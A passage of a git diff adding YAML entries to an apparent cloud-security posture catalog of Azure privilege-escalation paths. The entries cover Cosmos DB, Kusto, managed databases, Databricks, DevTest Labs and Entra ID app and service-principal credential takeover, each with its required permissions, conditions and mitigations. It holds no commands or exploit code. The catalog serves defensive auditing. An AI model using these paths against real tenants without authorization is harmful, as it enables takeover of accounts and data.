Microsoft.DocumentDB/databaseAccounts/cassandraRoleDefinitions/write + scope: '*' + - action: Microsoft.DocumentDB/databaseAccounts/cassandraRoleAssignments/write + scope: '*' + - - action: Microsoft.DocumentDB/databaseAccounts/gremlinRoleDefinitions/write + scope: '*' + - action: Microsoft.DocumentDB/databaseAccounts/gremlinRoleAssignments/write + scope: '*' + - - action: Microsoft.DocumentDB/databaseAccounts/tableRoleDefinitions/write + scope: '*' + - action: Microsoft.DocumentDB/databaseAccounts/tableRoleAssignments/write + scope: '*' + - - action: Microsoft.DocumentDB/databaseAccounts/tableRoleAssignments/write + scope: '*' + - - action: Microsoft.DocumentDB/databaseAccounts/mongoMIRoleDefinitions/write + scope: '*' + - action: Microsoft.DocumentDB/databaseAccounts/mongoMIRoleAssignments/write + scope: '*' + target: + kind: azure_dataplane_admin + selector: + azure_cosmos_other_api_role_grant: true + scope: inherited_scope + aggregate_as: Cosmos DB data-plane admins of {target.scope} + conditions: + - id: role_assignment_accepted + description: The matching API must accept an account-wide role assignment for the source's Entra principal; the Table branch can use a built-in contributor role. + - id: network_reachable + description: Account firewall must allow the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict the per-API role assignment and role definition write actions. + references: + - https://learn.microsoft.com/en-us/rest/api/cosmos-db-resource-provider/ + notes: Native account inventory identifies the API capability and usable state. The selector checks matching role writes on the exact account, including inherited grants and deny assignments. A permission for one API or another account cannot produce this edge. The role assignment and network path remain conditional. + +- id: azure-cosmos-mongocluster-user-write + provider: azure + service: cosmos_db + title: Register an Entra principal as a MongoDB vCore cluster user + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbmongoclusterslistconnectionstringsaction--mongoclustersusersread--userswrite + source_revision: 171e422 + summary: The source may grant its own Entra principal the root database role on a usable MongoDB vCore primary cluster. + requires: + all_of: + - action: Microsoft.DocumentDB/mongoClusters/users/write + scope: '*' + target: + kind: azure_dataplane_admin + selector: + azure_mongo_cluster_self_root: true + scope: inherited_scope + aggregate_as: MongoDB vCore cluster admins of {target.scope} + conditions: + - id: entra_auth_enabled + description: Entra authentication must be enabled, or the source must also be able to enable it with mongoClusters/write. + - id: root_assignment_succeeds + description: The user's role assignment must be accepted with the root role on the admin database. + - id: network_reachable + description: Cluster firewall or private endpoint must allow the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict mongoClusters/users/write and keep clusters on private networking. + references: + - https://learn.microsoft.com/en-us/azure/cosmos-db/mongodb/vcore/entra-authentication + notes: Native mongo_cluster GET binds the exact usable primary cluster. The selector checks users/write on the source principal's exact users child, accepting inherited parent grants, and checks mongoClusters/write if Entra authentication is disabled. The source must be a usable Entra user, service principal or managed identity; network access remains conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/data_explorer.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/data_explorer.yaml new file mode 100644 index 0000000000..5dcede3a4f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/data_explorer.yaml @@ -0,0 +1,95 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Data Explorer (Kusto) techniques (declarative only). +# Source: hacktricks-cloud az-data-explorer-privesc.md (rev 171e422). + +- id: azure-kusto-database-principal-assignment-write + provider: azure + service: data_explorer + title: Grant a Kusto database role through ARM principal assignments + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-explorer-privesc.md#microsoftkustoclustersdatabasesprincipalassignmentswrite + source_revision: a449ec1896 + summary: The source can obtain Kusto database Admin on databases in scope. + requires: + all_of: + - action: Microsoft.Kusto/clusters/databases/principalAssignments/write + scope: "*" + target: + kind: azure_dataplane_admin + selector: + azure_kusto_database_principal_assignment_path: true + scope: inherited_scope + aggregate_as: "Kusto database admins of {target.scope}" + conditions: + - id: principal_assignment_accepted + description: Kusto must accept the new or updated assignment for a source-controlled Entra identity. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict principalAssignments/write to Kusto administrators. + references: + - https://learn.microsoft.com/en-us/azure/data-explorer/manage-database-permissions + - https://learn.microsoft.com/en-us/rest/api/azurerekusto/database-principal-assignments/create-or-update?view=rest-azurerekusto-2025-02-14 + notes: The write must cover a principalAssignments child of the exact collected Kusto database. A child-scoped grant only applies to that existing collected assignment; a parent grant can create a new assignment. The source can grant Admin to a controlled Entra identity, but sign-in and endpoint access remain conditional. + +- id: azure-kusto-cluster-principal-assignment-write + provider: azure + service: data_explorer + title: Grant a Kusto cluster-wide role through ARM principal assignments + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-explorer-privesc.md#cluster-wide-variant-microsoftkustoclustersprincipalassignmentswrite + source_revision: "1965257438" + summary: The source can obtain AllDatabasesAdmin on the Kusto cluster. + requires: + all_of: + - action: Microsoft.Kusto/clusters/principalAssignments/write + scope: "*" + target: + kind: azure_dataplane_admin + selector: + azure_kusto_cluster_principal_assignment_path: true + scope: inherited_scope + aggregate_as: "Kusto cluster admins of {target.scope}" + conditions: + - id: principal_assignment_accepted + description: Kusto must accept the new or updated assignment for a source-controlled Entra identity. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict cluster principalAssignments/write. + references: + - https://learn.microsoft.com/en-us/rest/api/azurerekusto/cluster-principal-assignments/create-or-update?view=rest-azurerekusto-2025-02-14 + notes: The write must cover a principalAssignments child of the exact collected Kusto cluster. A child-scoped grant only applies to that existing collected assignment; a parent grant can create a new assignment. The source can assign its own or another controlled Entra identity AllDatabasesAdmin, but successful sign-in and data-plane reachability remain conditional. + +- id: azure-kusto-database-add-principals + provider: azure + service: data_explorer + title: Add a Kusto database principal with the AddPrincipals action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-explorer-privesc.md#microsoftkustoclustersdatabasesaddprincipalsaction--direct-principal-add-stealthier-than-principalassignments + source_revision: 5090b1a7b9 + summary: The source can obtain Kusto database Admin on databases in scope. + requires: + all_of: + - action: Microsoft.Kusto/Clusters/Databases/AddPrincipals/action + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + azure_resource_type: Microsoft.Kusto/clusters/databases + scope: inherited_scope + aggregate_as: "Kusto database admins of {target.scope}" + conditions: + - id: database_principal_add_accepted + description: Kusto must accept an Admin-role addition for a source-controlled Entra identity, which must then sign in and reach the database endpoint. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Databases/AddPrincipals/action alongside principalAssignments/write. + references: + - https://learn.microsoft.com/en-us/rest/api/azurerekusto/databases/add-principals + notes: Microsoft operation Microsoft.Kusto/Clusters/Databases/AddPrincipals/action targets an exact database. A grant on another database or the cluster alone does not establish this database Admin role unless inherited to this database. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/data_factory.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/data_factory.yaml new file mode 100644 index 0000000000..2dc66045d8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/data_factory.yaml @@ -0,0 +1,11 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Data Factory techniques (declarative only). +# Source: hacktricks-cloud az-data-factory-privesc.md (rev 171e422). +# getDataPlaneAccess/action only issues read-only tokens (permissions: "r"). +# It cannot run a pipeline or obtain a factory managed-identity token by itself. +# Keep the read-only operation documented in HackTricks Cloud; it is not an +# active privilege-escalation edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/databases.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/databases.yaml new file mode 100644 index 0000000000..1f62a121d8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/databases.yaml @@ -0,0 +1,239 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure managed database (MySQL / PostgreSQL / SQL) control-plane -> database admin techniques (declarative only). +# Sources: hacktricks-cloud az-mysql-privesc.md, az-postgresql-privesc.md, az-sql-privesc.md, az-sql-persistence.md (rev 171e422). + +- id: azure-mysql-flexible-admin-password-reset + provider: azure + service: databases + title: Reset the MySQL Flexible Server administrator password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#microsoftdbformysqlflexibleserversread--microsoftdbformysqlflexibleserverswrite--microsoftdbformysqlflexibleserversdelete + source_revision: b5caca55fe + summary: The source can obtain the MySQL server administrator account. + requires: + all_of: + - action: Microsoft.DBforMySQL/flexibleServers/write + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + azure_mysql_flexible_admin_password_reset: true + scope: inherited_scope + aggregate_as: "MySQL server admin of {target.scope}" + conditions: + - id: password_auth_enabled + description: Native MySQL authentication must be enabled, or the caller must also be able to change aad_auth_only. The server endpoint must be reachable through an allowed network path. + blockers: [] + confidence: conditional + severity: high + mitigation: Use Entra-only authentication and restrict flexibleServers/write. + references: + - https://learn.microsoft.com/en-us/azure/mysql/flexible-server/how-to-manage-server-cli + notes: Reset is disruptive to existing clients. + +- id: azure-mysql-flexible-entra-admin-write + provider: azure + service: databases + title: Set the MySQL Flexible Server Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#microsoftdbformysqlflexibleserversread-microsoftdbformysqlflexibleserverswrite-microsoftmanagedidentityuserassignedidentitiesassignaction-microsoftdbformysqlflexibleserversadministratorswrite--microsoftdbformysqlflexibleserversadministratorsread + source_revision: 3b55cfbe46 + summary: The source can obtain Entra administrator on the MySQL server. + requires: + all_of: + - action: Microsoft.DBforMySQL/flexibleServers/administrators/write + scope: "{target.scope}/administrators/ActiveDirectory" + target: + kind: azure_dataplane_admin + selector: + azure_mysql_flexible_entra_admin_write: true + scope: inherited_scope + aggregate_as: "MySQL server admin of {target.scope}" + conditions: + - id: server_has_uami + description: The server needs an assigned user-assigned identity with directory read access, or the caller must be able to attach one. The caller must control the new administrator identity and have a network path to the server. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict administrators/write and monitor Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/mysql/flexible-server/how-to-azure-ad + notes: "" + +- id: azure-postgresql-flexible-admin-password-reset + provider: azure + service: databases + title: Obtain the PostgreSQL Flexible Server administrator account + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversread-microsoftdbforpostgresqlflexibleserverswrite-microsoftdbforpostgresqlflexibleserversconfigurationswrite + source_revision: c53c63ee2f + summary: The source can obtain the PostgreSQL server administrator account. + requires: + all_of: + - action: Microsoft.DBforPostgreSQL/flexibleServers/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + azure_postgresql_flexible_admin_password_reset: true + scope: inherited_scope + aggregate_as: PostgreSQL server admin of {target.scope} + conditions: + - id: password_auth_enabled + description: The server must allow password authentication or the caller must enable it. A replica must be promoted to a standalone server before its password can be reset. A permitted network path is needed to use the new login. + blockers: [] + confidence: conditional + severity: high + mitigation: Use Entra-only authentication and restrict flexibleServers/write. + references: + - https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/how-to-manage-server-cli + notes: The azure_storage extension path (configurations/write) lets a database admin read blobs as the server's managed identity; this is a partial, Storage-read-only use of that identity and is not modelled as an identity edge. A newly enabled system-assigned identity has no roles. + +- id: azure-postgresql-flexible-entra-admin-write + provider: azure + service: databases + title: Set a PostgreSQL Flexible Server Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversread-microsoftdbforpostgresqlflexibleserverswrite-microsoftdbforpostgresqlflexibleserversadministratorswrite--microsoftdbforpostgresqlflexibleserversadministratorsread + source_revision: 28d2c2ff55 + summary: The source can obtain Entra administrator on the PostgreSQL server. + requires: + all_of: + - action: Microsoft.DBforPostgreSQL/flexibleServers/administrators/write + scope: '*' + target: + kind: azure_dataplane_admin + selector: + azure_postgresql_flexible_entra_admin_write: true + scope: inherited_scope + aggregate_as: PostgreSQL server admin of {target.scope} + conditions: + - id: entra_auth_enabled + description: Entra authentication must be enabled, or the caller must be able to enable it on this server. A read replica must be promoted before a new administrator can be added. + - id: network_reachable + description: Server must be reachable from the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict administrators/write and alert on Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/how-to-configure-sign-in-azure-ad-authentication + notes: '' + +- id: azure-sql-server-admin-password-reset + provider: azure + service: databases + title: Reset the Azure SQL logical server administrator password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#reset-a-sql-server-administrator-password-with-microsoftsqlserverswrite + source_revision: 59a2d63b44 + summary: The source can obtain the SQL server administrator account. + requires: + all_of: + - action: Microsoft.Sql/servers/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + azure_sql_server_admin_password_reset: true + scope: inherited_scope + aggregate_as: SQL server admin of {target.scope} + conditions: + - id: sql_auth_allowed + description: Entra-only authentication must be disabled, or the caller must also be able to disable it on this server. + - id: network_reachable + description: Public network access plus a firewall rule, or a private path, is required. + blockers: [] + confidence: conditional + severity: high + mitigation: Enforce Entra-only authentication with Azure Policy and restrict servers/write. + references: + - https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-azure-ad-only-authentication + notes: servers/write can also enable or attach a server identity; a privileged SQL session can then read Blob Storage as that identity through a database-scoped credential. That is a partial, read-only use of the identity and is not modelled as an identity edge. + +- id: azure-sql-server-entra-admin-write + provider: azure + service: databases + title: Set the Azure SQL logical server Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#set-a-sql-server-entra-administrator-with-microsoftsqlserversadministratorswrite + source_revision: 5e227f0508 + summary: The source can obtain Entra administrator on the SQL server. + requires: + all_of: + - action: Microsoft.Sql/servers/administrators/write + scope: '{target.scope}/administrators/ActiveDirectory' + target: + kind: azure_dataplane_admin + selector: + azure_sql_server_entra_admin_write: true + scope: inherited_scope + aggregate_as: SQL server admin of {target.scope} + conditions: + - id: network_reachable + description: Public network access plus a firewall rule, or a private path, is required. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict administrators/write and alert on Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-aad-configure + notes: '' + +- id: azure-sqlmi-entra-admin-write + provider: azure + service: databases + title: Set the Azure SQL Managed Instance Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#set-a-sql-managed-instance-entra-administrator + source_revision: 9ba7f6dbee + summary: The source can obtain Entra administrator on the SQL Managed Instance, the instance analogue of the logical-server Entra admin grant. + requires: + all_of: + - action: Microsoft.Sql/managedInstances/administrators/write + scope: '{target.scope}/administrators/ActiveDirectory' + target: + kind: azure_dataplane_admin + selector: + azure_sqlmi_entra_admin_write: true + scope: inherited_scope + aggregate_as: SQL Managed Instance admin of {target.scope} + conditions: + - id: instance_directory_read + description: The Managed Instance identity must be able to read the proposed Entra administrator in the directory. + - id: network_reachable + description: The instance endpoint (VNet-local, or public endpoint if enabled) must be reachable from the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict managedInstances/administrators/write and alert on Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-aad-configure + notes: The Managed Instance identity needs directory read access to resolve the proposed administrator; network reachability remains conditional. + +- id: azure-sqlmi-admin-password-reset + provider: azure + service: databases + title: Reset the Azure SQL Managed Instance administrator password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#reset-a-sql-managed-instance-administrator-password + source_revision: 527527c013 + summary: The source can obtain the SQL Managed Instance administrator login. + requires: + all_of: + - action: Microsoft.Sql/managedInstances/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + azure_sqlmi_admin_password_reset: true + scope: inherited_scope + aggregate_as: SQL Managed Instance admin of {target.scope} + conditions: + - id: sql_auth_allowed + description: Entra-only authentication must be disabled on the instance, or the caller must also be able to disable it. + - id: network_reachable + description: The instance endpoint must be reachable from the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Enforce Entra-only authentication on managed instances and restrict managedInstances/write. + references: + - https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-azure-ad-only-authentication + notes: Disruptive to clients using the old password. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/databricks.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/databricks.yaml new file mode 100644 index 0000000000..8a68e849f9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/databricks.yaml @@ -0,0 +1,42 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Databricks techniques (declarative only). +# Source: hacktricks-cloud az-databricks-privesc.md (rev 171e422). + +- id: azure-databricks-assign-workspace-admin + provider: azure + service: databricks + title: Self-assign Databricks workspace admin through Azure RBAC + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#become-a-workspace-admin-through-azure-rbac + source_revision: 171e422 + summary: A tenant member user may bootstrap workspace admin on an exact usable Databricks workspace. + source_kind: azure_user + source_selector: + azure_member_user: true + requires: + all_of: + - action: Microsoft.Databricks/workspaces/assignWorkspaceAdmin/action + scope: "*" + - action: Microsoft.Databricks/workspaces/read + scope: "*" + target: + kind: azure_dataplane_admin + selector: + azure_databricks_workspace_admin: true + scope: inherited_scope + aggregate_as: "Workspace admins of Databricks workspace {target.scope}" + conditions: + - id: source_is_user + description: HackTricks validated the path only for tenant member users, not service principals. + - id: bootstrap_succeeds + description: The member user's Databricks and ARM tokens must be accepted by the exact usable workspace. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict assignWorkspaceAdmin/action (Contributor/Owner on the workspace). + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/analytics + notes: The selector binds both effective Azure RBAC actions to the same exact inventoried workspace and checks its provisioning state and URL. A disabled member user, unrelated workspace, or unsupported service principal cannot emit the edge. Network access and Databricks bootstrap remain conditional. Workspace compute identity pivots are separate techniques. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/devtest_labs.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/devtest_labs.yaml new file mode 100644 index 0000000000..0e81135c4b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/devtest_labs.yaml @@ -0,0 +1,38 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure DevTest Labs techniques (declarative only). +# Source: hacktricks-cloud az-devtest-labs-privesc.md (rev 171e422). +# A lab VM is joined to its backing compute VM by properties.computeId. + +- id: azure-devtestlabs-apply-artifacts + provider: azure + service: devtest_labs + title: Apply an artifact to a lab VM to run code in the guest + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#applyartifacts--in-guest-rce--managed-identity-theft-marquee + source_revision: 171e422 + summary: A script-capable artifact on an exact writable lab VM may run code in its backing compute VM and reach that VM's attached identity. + requires: + all_of: + - action: Microsoft.DevTestLab/labs/virtualMachines/ApplyArtifacts/action + scope: "{pivot}" + pivot_resource_type: Microsoft.DevTestLab/labs/virtualMachines + target: + kind: azure_managed_identity + selector: + azure_devtestlab_artifact_identity: true + scope: inherited_scope + aggregate_as: "Managed identity of the compute VM behind the writable lab VM" + conditions: + - id: artifact_source_available + description: The same lab must have an enabled source and an OS-compatible script artifact; public Run PowerShell or Run Bash is checked from native metadata, while custom scripts need fresh reviewed execution semantics. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict ApplyArtifacts/action, disable unneeded artifact sources and keep lab VM identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/devtest-labs/add-artifact-vm + notes: The lab VM computeId must name the exact inventoried compute VM carrying the target identity. A stopped lab VM or unavailable script artifact creates no named path. Guest execution and identity-token use remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_apps.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_apps.yaml new file mode 100644 index 0000000000..34deae16e0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_apps.yaml @@ -0,0 +1,357 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Entra ID application / service-principal takeover (credential injection, ownership, +# Graph app-role self-grant, Agent ID blueprints). +# Source: hacktricks-cloud az-entraid-privesc/README.md, az-persistence/README.md, +# az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md (rev 171e422; all entries re-verified against the page text at that revision). +# +# Requirement keys: see header of entraid_roles.yaml. Additionally: +# entra_owner_of: "{target.application_id}" | "{target.id}" with object_type: +# application | servicePrincipal (source is a registered owner of that object) +# +# Credential added to an APPLICATION object authenticates as that app's service +# principal in this tenant (the home tenant). Credentials added to a SERVICE PRINCIPAL +# object authenticate as that tenant-local service principal (works also for +# multi-tenant apps registered elsewhere). Managed-identity service principals cannot +# receive credentials. The resulting edge gives the target SP's directory roles, Graph / +# API app roles and Azure RBAC. + +- id: azure-entraid-app-credentials-update + provider: azure + service: entraid + source_kind: azure_user + title: Add credentials to any application registration + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationscredentialsupdate + source_revision: ae05918c9c + summary: A principal allowed to update application credentials (e.g. Application Administrator, Cloud Application Administrator) can obtain the privileges of the service principal of any app registration in its scope. + requires: + any_of: + - - entra_permission: microsoft.directory/applications/credentials/update + scope: "{target.application_id}" + - - entra_permission: microsoft.directory/applications/allProperties/update + scope: "{target.application_id}" + target: + kind: azure_service_principal + selector: + entra_sp_has_tenant_application: true + entra_sp_type_in: [Application] + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Service principals of all app registrations in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities (named locations / risk) can block sign-in of the target service principal. + blockers: [] + confidence: conditional + severity: critical + mitigation: Minimise Application/Cloud Application Administrator assignments, scope custom roles to specific app registrations, and never grant privileged directory roles or Graph app roles to apps whose registration non-Tier-0 principals can manage. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + - https://learn.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0 + - https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ + notes: Critical because the target set includes any app whose service principal holds Global Administrator, Privileged Role Administrator or RoleManagement.ReadWrite.Directory; Microsoft labels these permissions PRIVILEGED. The target set is app registrations whose application object lives in this tenant. The permission check resolves the app object ID, not its service-principal object ID, so a role assignment scoped to one app registration reaches only that app. allProperties/update includes the credential property set. This is the delegated-user directory-role path; app-only Graph permissions are modeled by the separate Graph application permission entry. Delegated Graph access and application-management policy restrictions remain conditional. + +- id: azure-entraid-app-myorg-credentials-update + provider: azure + service: entraid + source_kind: azure_user + title: Add credentials to single-tenant application registrations + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsmyorganizationallpropertiesupdate + source_revision: f6f75e1f7a + summary: A principal holding applications.myOrganization credential/allProperties update can obtain the privileges of the service principal of any single-tenant app registration in its scope. + requires: + any_of: + - - entra_permission: microsoft.directory/applications.myOrganization/credentials/update + scope: "{target.application_id}" + - - entra_permission: microsoft.directory/applications.myOrganization/allProperties/update + scope: "{target.application_id}" + target: + kind: azure_service_principal + selector: + entra_sp_has_tenant_application: true + entra_sp_type_in: [Application] + entra_app_sign_in_audience: AzureADMyOrg + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Service principals of single-tenant app registrations in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: [] + confidence: conditional + severity: critical + mitigation: Audit custom roles for applications.myOrganization/* permissions and scope them to specific app registrations instead of the tenant. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + notes: These permissions appear mostly in custom roles; single-tenant internal apps are frequently the ones holding privileged Graph app roles. The evaluator resolves a role assignment against the application object ID and requires signInAudience AzureADMyOrg on that same local app. This is the delegated-user directory-role path; app-only Graph grants are handled by their separate technique. Delegated Graph access and application-management policy restrictions remain conditional. + +- id: azure-entraid-app-owners-update + provider: azure + service: entraid + source_kind: azure_user + title: Make yourself owner of any application registration + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsownersupdate + source_revision: 517fd6b63a + summary: A principal allowed to update application owners can obtain the privileges of the service principal of any app registration in its scope. + requires: + all_of: + - entra_permission: microsoft.directory/applications/owners/update + scope: "{target.application_id}" + target: + kind: azure_service_principal + selector: + entra_sp_has_tenant_application: true + entra_sp_type_in: [Application] + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Service principals of all app registrations in {scope}" + conditions: + - id: delegated_graph_owner_and_credential_write + description: The user needs the delegated Microsoft Graph scopes required to add an owner and a credential, and app credential policy must allow the new credential. + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict applications/owners/update, monitor "Add owner to application" audit events, and use app management policies to restrict credential types. + references: + - https://learn.microsoft.com/en-us/graph/api/application-post-owners?view=graph-rest-1.0 + notes: This delegated-user directory-role path resolves the permission against the application object ID and only names its enabled Application-type service principal. App-only Graph authorization is separate. Ownership grants credential management but not authority to consent new API permissions; the gain is limited to what the app's service principal already holds. + +- id: azure-entraid-app-owner-credentials + provider: azure + service: entraid + title: Application owner adds credentials to the owned app + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsownersupdate + source_revision: 681d8f7ccb + summary: A registered owner of an application can obtain the privileges of that application's service principal. + requires: + all_of: + - entra_owner_of: "{target.application_id}" + object_type: application + target: + kind: azure_service_principal + selector: + entra_sp_has_tenant_application: true + entra_sp_type_in: [Application] + entra_source_is_owner_of_application: true + scope: tenant + aggregate_as: "Service principals of app registrations owned by {source}" + conditions: + - id: service_principal_owner_needs_ownedby + description: An app-only owner needs an enabled Microsoft Graph Application.ReadWrite.OwnedBy, Application.ReadWrite.All or Directory.ReadWrite.All grant. A user owner needs a delegated Graph scope that permits credential writes. + - id: app_management_policy + description: Application management policies can block password credentials or restrict credential lifetimes for the owned app. + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not make non-Tier-0 users or service principals owners of apps whose service principals hold privileged roles or app permissions; review app owners regularly. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + notes: Owners also include service principals that own other apps. The selector binds a recorded owner to the exact local application and its enabled Application-type service principal. App-only owners require an enabled Microsoft Graph application role; user owners still need delegated Graph authorization. Severity should be raised to critical when the owned app's SP holds privileged roles or Graph app roles. Source is the owners/update section, which states that ownership gives control of the app's credentials. + +- id: azure-entraid-sp-credentials-update + provider: azure + service: entraid + title: Add credentials to any service principal + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalscredentialsupdate + source_revision: 65b88f8aae + summary: A principal allowed to update service-principal credentials can obtain the privileges of any application-type service principal in its scope. + requires: + any_of: + - - entra_permission: microsoft.directory/servicePrincipals/credentials/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/servicePrincipals/allProperties/update + scope: "{target.scope}" + - - graph_app_permission: Application.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: azure_service_principal + selector: + entra_sp_type_in: [Application] + entra_sp_credential_takeover_target: true + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Application-type service principals in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + - id: microsoft_first_party_sp + description: Microsoft first-party service principals may reject or ignore tenant-added credentials; validate per app. + blockers: + - sp_lock_configuration_credentials + confidence: conditional + severity: critical + mitigation: Minimise Application/Cloud Application Administrator, enable servicePrincipalLockConfiguration (app instance property lock) on apps, and monitor credential additions on service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/resources/serviceprincipallockconfiguration?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#application-administrator + notes: Directory-role permissions authorize the delegated-user path. The listed Graph application permissions authorize the app-only path, including foreign application service principals. Managed-identity and disabled service principals are excluded. 